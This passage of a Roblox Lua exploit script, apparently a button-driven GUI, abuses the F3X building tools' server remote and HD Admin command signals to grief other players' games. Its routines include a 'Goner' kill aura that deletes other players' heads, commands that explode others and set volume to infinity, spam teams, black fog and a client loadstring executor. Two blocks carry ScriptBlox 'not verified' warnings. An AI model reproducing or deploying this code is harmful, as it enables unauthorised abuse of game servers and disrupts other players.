local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function Setmate(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Material"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function ClonePart(part,parent) local args = { [1] = "Clone", [2] = { [1] = part }, [3] = parent } return remote:InvokeServer(unpack(args)) end function Sky(id) local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommandSilent = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent local function findBuildingTools() local player = game:GetService("Players").LocalPlayer for _, item in ipairs(player.Character:GetChildren()) do if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then return item end end for _, item in ipairs(player.Backpack:GetChildren()) do if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then return item end end return nil end local buildingTools = findBuildingTools() if not buildingTools then warn("btools not found") return end local syncAPI = buildingTools:FindFirstChild("SyncAPI") local serverEndpoint = syncAPI and syncAPI:FindFirstChild("ServerEndpoint") if not serverEndpoint then warn("btools not found") return end local skyInstance = workspace.Terrain:FindFirstChild("Sky") or workspace:FindFirstChild("Sky") if not skyInstance then print"ok" end spawn(function() DestroyPart(skyInstance) end) local success, result if serverEndpoint:IsA("RemoteFunction") then success, result = pcall(function() return serverEndpoint:InvokeServer(unpack(args)) end) else serverEndpoint:FireServer(unpack(args)) success = true end if success then print"yay" end e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z mhm = CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,-5,0) v = remote:InvokeServer("CreatePart","Normal",mhm,char) task.spawn(function() SetName(v,"johnbeep") end) task.spawn(function() AddMesh(v) end) task.spawn(function() rq:InvokeServer(";time 0") end) task.spawn(function() Resize(v,Vector3.new(0,0,0),v.CFrame) end) task.spawn(function() SetMesh(v,"1527559") end) task.spawn(function() MeshColor(v,vector.create(2,0,0)) end) task.spawn(function() SetTexture(v,id) end) task.spawn(function() MeshResize(v,Vector3.new(-3000,-1000,-3000)) end) task.spawn(function() SetLocked(v,true) end) local rotationAngle = 5 local rotationSpeed = math.rad(20) RunService.Heartbeat:Connect(function(deltaTime) rotationAngle = rotationAngle + rotationSpeed * deltaTime local rotation = CFrame.Angles(0, rotationAngle, 0) local cf = CFrame.new(v.Position) * rotation task.spawn(function() MovePart(v, cf) end) end) end Sky("1529455") while true do wait(0.1) if character:FindFirstChildOfClass("Humanoid").Health <= 0 then RequestCommand:InvokeServer(";titler me BAD CHOICE") ClonePart(character.Head,workspace.Terrain) wait(0.1) local bg = workspace.Terrain.Head task.spawn(function() DestroyPart(bg.face) end) task.spawn(function() SetTrans(bg,1) end) ClonePart(character.johnbeep,workspace.Terrain) spawn(function() MeshColor(workspace.Terrain.johnbeep,vector.create(0,0,0)) end) task.spawn(function() MeshResize(workspace.Terrain.johnbeep,Vector3.new(-50000,-50000,-50000)) end) RequestCommand:InvokeServer(";explode others") RequestCommand:InvokeServer(";music 17717379222") RequestCommand:InvokeServer(";volume 10") wait(4) RequestCommand:InvokeServer(";music 19094700") RequestCommand:InvokeServer(";pitch 0.5") RequestCommand:InvokeServer(";volume 3") wait(0.8) RequestCommand:InvokeServer(";fogcolor black") RequestCommand:InvokeServer(";fog 3000") break end end end) end; task.spawn(C_18); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_1a() local script = G2L["1a"]; local button = script.Parent button.MouseButton1Click:Connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] local function Script_F3X_Goner() local player = game.Players.LocalPlayer local char = player.Character local mouse = player:GetMouse() local RunService = game:GetService("RunService") local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end if not tool then for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end end if not tool then return end local remote = tool.SyncAPI.ServerEndpoint local function _(args) remote:InvokeServer(unpack(args)) end local active = true local isAttacking = false local slashProgress = 0 local function CreateGPart(size, color) local p = remote:InvokeServer("CreatePart", "Normal", char.HumanoidRootPart.CFrame, workspace) _({"SyncResize", {{["Part"] = p, ["CFrame"] = char.HumanoidRootPart.CFrame, ["Size"] = size}}}) _({"SyncColor", {{["Part"] = p, ["Color"] = color or Color3.new(0, 0, 0)}}}) _({"SyncMaterial", {{["Part"] = p, ["Material"] = Enum.Material.Neon}}}) _({"SyncCollision", {{["Part"] = p, ["CanCollide"] = false}}}) return p end -- Тело local gTorso = CreateGPart(Vector3.new(2.2, 2.2, 1.2)) local gHead = CreateGPart(Vector3.new(1, 1, 1)) local gRArm = CreateGPart(Vector3.new(1.2, 2.2, 1.2)) local gLArm = CreateGPart(Vector3.new(1.2, 2.2, 1.2)) local gRLeg = CreateGPart(Vector3.new(1.2, 2.2, 1.2)) local gLLeg = CreateGPart(Vector3.new(1.2, 2.2, 1.2)) local gScythe = CreateGPart(Vector3.new(2, 5.925, 0.25)) -- Глаза local eyeL = CreateGPart(Vector3.new(0.25, 0.25, 0.25), Color3.new(1, 0, 0)) local eyeR = CreateGPart(Vector3.new(0.25, 0.25, 0.25), Color3.new(1, 0, 0)) _({"CreateMeshes", {{["Part"] = eyeL}, {["Part"] = eyeR}, {["Part"] = gHead}, {["Part"] = gScythe}}}) _({"SyncMesh", { {["Part"] = eyeL, ["MeshType"] = Enum.MeshType.Cylinder, ["Scale"] = Vector3.new(0.6, 0.6, 0.6)}, {["Part"] = eyeR, ["MeshType"] = Enum.MeshType.Cylinder, ["Scale"] = Vector3.new(0.6, 0.6, 0.6)}, {["Part"] = gHead, ["MeshType"] = Enum.MeshType.Head, ["Scale"] = Vector3.new(1.4, 1.4, 1.4)}, {["Part"] = gScythe, ["MeshId"] = "rbxassetid://500489601", ["Scale"] = Vector3.new(0.01, 0.01, 0.01)} }}) _({"CreateDecorations", {{["Part"] = gTorso, ["DecorationType"] = "Fire"}}}) _({"SyncDecorate", {{["Part"] = gTorso, ["DecorationType"] = "Fire", ["Size"] = 10, ["Heat"] = 5, ["Color"] = Color3.new(0, 0, 0), ["SecondaryColor"] = Color3.new(0, 0, 0)}}}) local tor = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso") local rArm = char:FindFirstChild("Right Arm") or char:FindFirstChild("RightHand") local rShoulder = tor:FindFirstChild("Right Shoulder") or rArm:FindFirstChild("RightShoulder") local oldC0 = rShoulder.C0 local connection connection = RunService.Heartbeat:Connect(function() if not active or not gTorso or not gTorso.Parent then rShoulder.C0 = oldC0 connection:Disconnect() return end local hitPos = mouse.Hit.p local jointPos = tor.CFrame:PointToWorldSpace(oldC0.p) local direction = (hitPos - jointPos).Unit local angle = math.asin(direction.Y) local slashAnim = CFrame.new() if isAttacking then slashProgress = slashProgress + 0.08 local s = math.sin(slashProgress * math.pi) slashAnim = CFrame.Angles(math.rad(110 * s), math.rad(-80 * s), math.rad(25 * s)) if slashProgress >= 1 then isAttacking = false slashProgress = 0 end end rShoulder.C0 = oldC0 * CFrame.Angles(0, 0, math.rad(90)) * CFrame.Angles(angle, 0, 0) * slashAnim local headCF = char.Head.CFrame local handCF = rArm.CFrame * CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(90), 0, 0) local scytheCF = handCF * CFrame.new(0, -0.5, 0) * CFrame.Angles(math.rad(90), math.rad(180), 0) task.spawn(function() _({"SyncMove", { {["Part"] = gTorso, ["CFrame"] = tor.CFrame}, {["Part"] = gHead, ["CFrame"] = headCF * CFrame.new(0, 0.15, 0)}, {["Part"] = gLArm, ["CFrame"] = char["Left Arm"].CFrame}, {["Part"] = gRArm, ["CFrame"] = rArm.CFrame}, {["Part"] = gRLeg, ["CFrame"] = char["Right Leg"].CFrame}, {["Part"] = gLLeg, ["CFrame"] = char["Left Leg"].CFrame}, {["Part"] = gScythe, ["CFrame"] = scytheCF}, {["Part"] = eyeL, ["CFrame"] = headCF * CFrame.new(-0.28, 0.22, -0.62) * CFrame.Angles(0, math.rad(90), 0)}, {["Part"] = eyeR, ["CFrame"] = headCF * CFrame.new(0.28, 0.22, -0.62) * CFrame.Angles(0, math.rad(90), 0)} }}) end) -- КИЛЛ-АУРА (Радиус 3) local region = workspace:GetPartBoundsInRadius(scytheCF.Position, 3) for _, p in pairs(region) do local m = p.Parent if m:IsA("Model") and m:FindFirstChild("Humanoid") and m ~= char then local targetHead = m:FindFirstChild("Head") if targetHead then task.spawn(function() remote:InvokeServer("Remove", {targetHead}) end) end end end end) mouse.Button1Down:Connect(function() if not isAttacking then isAttacking = true slashProgress = 0 end end) end Script_F3X_Goner() end) end; task.spawn(C_1a); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_1c() local script = G2L["1c"]; local button = script.Parent button.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";titley all WE SURRENDER") end) end; task.spawn(C_1c); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_1f() local script = G2L["1f"]; local button = script.Parent button.MouseButton1Click:Connect(function() -- Gui to Lua -- Version: 3.2 -- Instances: local ScreenGui = Instance.new("ScreenGui") local Frame = Instance.new("Frame") local TextLabel = Instance.new("TextLabel") local TextButton = Instance.new("TextButton") local TextButton_2 = Instance.new("TextButton") local TextButton_3 = Instance.new("TextButton") local Frame_2 = Instance.new("Frame") local TextButton_4 = Instance.new("TextButton") local TextButton_5 = Instance.new("TextButton") local TextButton_6 = Instance.new("TextButton") local Frame_3 = Instance.new("Frame") local TextButton_7 = Instance.new("TextButton") local TextButton_8 = Instance.new("TextButton") local ScrollingFrame = Instance.new("ScrollingFrame") local TextBox = Instance.new("TextBox") local ImageLabel = Instance.new("ImageLabel") --Properties: ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling ScreenGui.ResetOnSpawn = false Frame.Parent = ScreenGui Frame.BackgroundColor3 = Color3.fromRGB(197, 197, 197) Frame.BorderColor3 = Color3.fromRGB(0, 0, 0) Frame.BorderSizePixel = 0 Frame.Position = UDim2.new(0.368421048, 0, 0.101221435, 0) Frame.Size = UDim2.new(0, 498, 0, 395) TextLabel.Parent = Frame TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel.BorderSizePixel = 0 TextLabel.Size = UDim2.new(0, 399, 0, 24) TextLabel.Font = Enum.Font.SourceSans TextLabel.Text = " dominant" TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0) TextLabel.TextSize = 14.000 TextLabel.TextXAlignment = Enum.TextXAlignment.Left TextButton.Parent = Frame TextButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextButton.BorderColor3 = Color3.fromRGB(0, 0, 0) TextButton.BorderSizePixel = 0 TextButton.Position = UDim2.new(0.92954433, 0, 0, 0) TextButton.Size = UDim2.new(0, 35, 0, 24) TextButton.Font = Enum.Font.SourceSans TextButton.Text = "X" TextButton.TextColor3 = Color3.fromRGB(0, 0, 0) TextButton.TextScaled = true TextButton.TextSize = 14.000 TextButton.TextWrapped = true TextButton_2.Parent = Frame TextButton_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextButton_2.BorderColor3 = Color3.fromRGB(182, 182, 182) TextButton_2.Position = UDim2.new(0.0124223698, 0, 0.0751006901, 0) TextButton_2.Size = UDim2.new(0, 77, 0, 23) TextButton_2.Font = Enum.Font.SourceSans TextButton_2.Text = "Executor" TextButton_2.TextColor3 = Color3.fromRGB(0, 0, 0) TextButton_2.TextScaled = true TextButton_2.TextSize = 14.000 TextButton_2.TextWrapped = true TextButton_3.Parent = Frame TextButton_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextButton_3.BorderColor3 = Color3.fromRGB(182, 182, 182) TextButton_3.Position = UDim2.new(0.18853049, 0, 0.0751006901, 0) TextButton_3.Size = UDim2.new(0, 77, 0, 23) TextButton_3.Font = Enum.Font.SourceSans TextButton_3.Text = "Soon" TextButton_3.TextColor3 = Color3.fromRGB(0, 0, 0) TextButton_3.TextScaled = true TextButton_3.TextSize = 14.000 TextButton_3.TextWrapped = true Frame_2.Parent = Frame Frame_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Frame_2.BorderColor3 = Color3.fromRGB(182, 182, 182) Frame_2.Position = UDim2.new(0.770560503, 0, 0.15625, 0) Frame_2.Size = UDim2.new(0, 105, 0, 326) TextButton_4.Parent = Frame TextButton_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextButton_4.BorderColor3 = Color3.fromRGB(182, 182, 182) TextButton_4.Position = UDim2.new(0.0124223698, 0, 0.71900171, 0) TextButton_4.Size = UDim2.new(0, 132, 0, 30) TextButton_4.Font = Enum.Font.SourceSans TextButton_4.Text = "Execute" TextButton_4.TextColor3 = Color3.fromRGB(0, 0, 0) TextButton_4.TextScaled = true TextButton_4.TextSize = 14.000 TextButton_4.TextWrapped = true TextButton_5.Parent = Frame TextButton_5.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextButton_5.BorderColor3 = Color3.fromRGB(182, 182, 182) TextButton_5.Position = UDim2.new(0.0124223698, 0, 0.810140967, 0) TextButton_5.Size = UDim2.new(0, 132, 0, 30) TextButton_5.Font = Enum.Font.SourceSans TextButton_5.Text = "Clear" TextButton_5.TextColor3 = Color3.fromRGB(0, 0, 0) TextButton_5.TextScaled = true TextButton_5.TextSize = 14.000 TextButton_5.TextWrapped = true TextButton_6.Parent = Frame TextButton_6.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextButton_6.BorderColor3 = Color3.fromRGB(182, 182, 182) TextButton_6.Position = UDim2.new(0.0124223698, 0, 0.903811812, 0) TextButton_6.Size = UDim2.new(0, 132, 0, 30) TextButton_6.Font = Enum.Font.SourceSans TextButton_6.Text = "Nothing" TextButton_6.TextColor3 = Color3.fromRGB(0, 0, 0) TextButton_6.TextScaled = true TextButton_6.TextSize = 14.000 TextButton_6.TextWrapped = true Frame_3.Parent = Frame Frame_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Frame_3.BorderColor3 = Color3.fromRGB(182, 182, 182) Frame_3.Position = UDim2.new(0.291164607, 0, 0.71900171, 0) Frame_3.Size = UDim2.new(0, 232, 0, 102) TextButton_7.Parent = Frame TextButton_7.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextButton_7.BorderColor3 = Color3.fromRGB(0, 0, 0) TextButton_7.BorderSizePixel = 0 TextButton_7.Position = UDim2.new(0.859263241, 0, 0, 0) TextButton_7.Size = UDim2.new(0, 35, 0, 24) TextButton_7.Font = Enum.Font.SourceSans TextButton_7.Text = "[]" TextButton_7.TextColor3 = Color3.fromRGB(0, 0, 0) TextButton_7.TextScaled = true TextButton_7.TextSize = 14.000 TextButton_7.TextWrapped = true TextButton_8.Parent = Frame TextButton_8.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextButton_8.BorderColor3 = Color3.fromRGB(0, 0, 0) TextButton_8.BorderSizePixel = 0 TextButton_8.Position = UDim2.new(0.788982093, 0, 0, 0) TextButton_8.Size = UDim2.new(0, 35, 0, 24) TextButton_8.Font = Enum.Font.SourceSans TextButton_8.Text = "-" TextButton_8.TextColor3 = Color3.fromRGB(0, 0, 0) TextButton_8.TextScaled = true TextButton_8.TextSize = 14.000 TextButton_8.TextWrapped = true ScrollingFrame.Parent = Frame ScrollingFrame.Active = true ScrollingFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ScrollingFrame.BorderColor3 = Color3.fromRGB(182, 182, 182) ScrollingFrame.Position = UDim2.new(0.0120481923, 0, 0.15625, 0) ScrollingFrame.Size = UDim2.new(0, 371, 0, 215) TextBox.Parent = ScrollingFrame TextBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextBox.BorderColor3 = Color3.fromRGB(182, 182, 182) TextBox.Size = UDim2.new(0, 371, 0, 800) TextBox.ClearTextOnFocus = false TextBox.Font = Enum.Font.SourceSans TextBox.PlaceholderColor3 = Color3.fromRGB(0, 170, 0) TextBox.PlaceholderText = "Game with ServerScriptService -LoadstringEnabled is on only, and this is client executor" TextBox.Text = "" TextBox.TextColor3 = Color3.fromRGB(0, 0, 0) TextBox.TextSize = 11.000 TextBox.TextWrapped = true TextBox.TextXAlignment = Enum.TextXAlignment.Left TextBox.TextYAlignment = Enum.TextYAlignment.Top ImageLabel.Parent = ScreenGui ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ImageLabel.BackgroundTransparency = 1.000 ImageLabel.BorderColor3 = Color3.fromRGB(0, 0, 0) ImageLabel.BorderSizePixel = 0 ImageLabel.Position = UDim2.new(0, 0, 0.814814806, 0) ImageLabel.Size = UDim2.new(0, 100, 0, 100) ImageLabel.Image = "rbxassetid://99156048430349" -- Scripts: local function XCDTATE_fake_script() -- TextButton.LocalScript local script = Instance.new('LocalScript', TextButton) local button = script.Parent local frame = button.Parent -- Looks up to find the Frame containing the button button.MouseButton1Click:Connect(function() frame:Destroy() end) end coroutine.wrap(XCDTATE_fake_script)() local function UOFEA_fake_script() -- TextButton_4.LocalScript local script = Instance.new('LocalScript', TextButton_4) local button = script.Parent local textBox = button.Parent:WaitForChild("TextBox") button.MouseButton1Click:Connect(function() local code = textBox.Text if code ~= "" then -- loadstring returns a function and an optional error message local func, compileError = loadstring(code) if func then -- If compilation succeeded, run it safely inside a pcall local success, runtimeError = pcall(func) if not success then warn("Runtime Error: " .. tostring(runtimeError)) end else warn("Syntax Error: " .. tostring(compileError)) end end end) end coroutine.wrap(UOFEA_fake_script)() local function TTVHCS_fake_script() -- TextButton_5.LocalScript local script = Instance.new('LocalScript', TextButton_5) local button = script.Parent -- Adjust this path depending on where your TextBox is located local textBox = button.Parent:WaitForChild("TextBox") local function onButtonClicked() textBox.Text = "" -- Clears the text end button.MouseButton1Click:Connect(onButtonClicked) end coroutine.wrap(TTVHCS_fake_script)() local function BKMXTZ_fake_script() -- Frame.Smooth GUI Dragging local script = Instance.new('LocalScript', Frame) local UserInputService = game:GetService("UserInputService") local runService = (game:GetService("RunService")); local gui = script.Parent local dragging local dragInput local dragStart local startPos function Lerp(a, b, m) return a + (b - a) * m end; local lastMousePos local lastGoalPos local DRAG_SPEED = (8); -- // The speed of the UI darg. function Update(dt) if not (startPos) then return end; if not (dragging) and (lastGoalPos) then gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, lastGoalPos.X.Offset, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, lastGoalPos.Y.Offset, dt * DRAG_SPEED)) return end; local delta = (lastMousePos - UserInputService:GetMouseLocation()) local xGoal = (startPos.X.Offset - delta.X); local yGoal = (startPos.Y.Offset - delta.Y); lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal) gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, xGoal, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, yGoal, dt * DRAG_SPEED)) end; gui.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = gui.Position lastMousePos = UserInputService:GetMouseLocation() input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) gui.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) runService.Heartbeat:Connect(Update) end coroutine.wrap(BKMXTZ_fake_script)() local function JUYMZ_fake_script() -- ImageLabel.LocalScript local script = Instance.new('LocalScript', ImageLabel) while true do script.Parent.Rotation = script.Parent.Rotation + 1 wait() end end coroutine.wrap(JUYMZ_fake_script)() local function GMHK_fake_script() -- ImageLabel.Smooth GUI Dragging local script = Instance.new('LocalScript', ImageLabel) local UserInputService = game:GetService("UserInputService") local runService = (game:GetService("RunService")); local gui = script.Parent local dragging local dragInput local dragStart local startPos function Lerp(a, b, m) return a + (b - a) * m end; local lastMousePos local lastGoalPos local DRAG_SPEED = (8); -- // The speed of the UI darg. function Update(dt) if not (startPos) then return end; if not (dragging) and (lastGoalPos) then gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, lastGoalPos.X.Offset, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, lastGoalPos.Y.Offset, dt * DRAG_SPEED)) return end; local delta = (lastMousePos - UserInputService:GetMouseLocation()) local xGoal = (startPos.X.Offset - delta.X); local yGoal = (startPos.Y.Offset - delta.Y); lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal) gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, xGoal, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, yGoal, dt * DRAG_SPEED)) end; gui.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = gui.Position lastMousePos = UserInputService:GetMouseLocation() input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) gui.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) runService.Heartbeat:Connect(Update) end coroutine.wrap(GMHK_fake_script)() end) end; task.spawn(C_1f); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_21() local script = G2L["21"]; local button = script.Parent button.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";disco") end) end; task.spawn(C_21); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_23() local script = G2L["23"]; local button = script.Parent button.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";createteam red SONion") RequestCommand:InvokeServer(";createteam blue mrc00lnoob was here") RequestCommand:InvokeServer(";createteam db LUA") RequestCommand:InvokeServer(";createteam green god") RequestCommand:InvokeServer(";createteam dg mario") RequestCommand:InvokeServer(";createteam pk black") RequestCommand:InvokeServer(";createteam p How many districts are there in Hong Kong?") RequestCommand:InvokeServer(";createteam y GG guyss") RequestCommand:InvokeServer(";createteam o wat did i say") RequestCommand:InvokeServer(";createteam black Good!") RequestCommand:InvokeServer(";createteam white Bad!") end) end; task.spawn(C_23); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_25() local script = G2L["25"]; local button = script.Parent button.MouseButton1Click:Connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] local player = game.Players.LocalPlayer local replicatedStorage = game:GetService("ReplicatedStorage") local screenGui = Instance.new("ScreenGui") screenGui.Name = "e" screenGui.Parent = player:WaitForChild("PlayerGui") screenGui.ResetOnSpawn = false local mainFrame = Instance.new("Frame") mainFrame.Size = UDim2.new(0, 515, 0, 960) mainFrame.Position = UDim2.new(0.5, -300, 0.5, -225) mainFrame.BackgroundColor3 = Color3.new(0, 0, 0) mainFrame.BorderSizePixel = 3 mainFrame.BorderColor3 = Color3.new(0, 0, 1) mainFrame.Active = true mainFrame.Draggable = true mainFrame.Parent = screenGui local titleLabel = Instance.new("TextLabel") titleLabel.Size = UDim2.new(1, 0, 0, 40) titleLabel.Position = UDim2.new(0, 0, 0, 0) titleLabel.BackgroundColor3 = Color3.new(0, 0, 0) titleLabel.BorderSizePixel = 1 titleLabel.BorderColor3 = Color3.new(0, 0, 1) titleLabel.Font = Enum.Font.JosefinSans titleLabel.Text = "B2S gui reborn" titleLabel.TextColor3 = Color3.new(1, 1, 1) titleLabel.TextSize = 30 titleLabel.Parent = mainFrame local titleLabel = Instance.new("TextLabel") titleLabel.Size = UDim2.new(1, 0, 0, 40) titleLabel.Position = UDim2.new(0, 0, 0.05, 1) titleLabel.BackgroundColor3 = Color3.new(0.1, 0.1, 0.1) titleLabel.BorderSizePixel = 0 titleLabel.BorderColor3 = Color3.new(0, 0, 1) titleLabel.Font = Enum.Font.Roboto titleLabel.Text = "music" titleLabel.TextColor3 = Color3.new(1, 1, 1) titleLabel.TextSize = 30 titleLabel.Parent = mainFrame local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.1, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Theme" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";music 1846368080") RequestCommand:InvokeServer(";pitch 0.9") RequestCommand:InvokeServer(";volume inf") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.1, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "wont stop us" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";music 1847661821") RequestCommand:InvokeServer(";pitch 0.9") RequestCommand:InvokeServer(";volume inf") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.1, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Spooky Scary Skeletons" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 17 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";music 77484784570543") RequestCommand:InvokeServer(";pitch 0.1") RequestCommand:InvokeServer(";volume inf") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.1, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "raining men " scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 17 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";music 104497567166761") RequestCommand:InvokeServer(";volume inf") RequestCommand:InvokeServer(";pitch 0.27") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.14, 0) 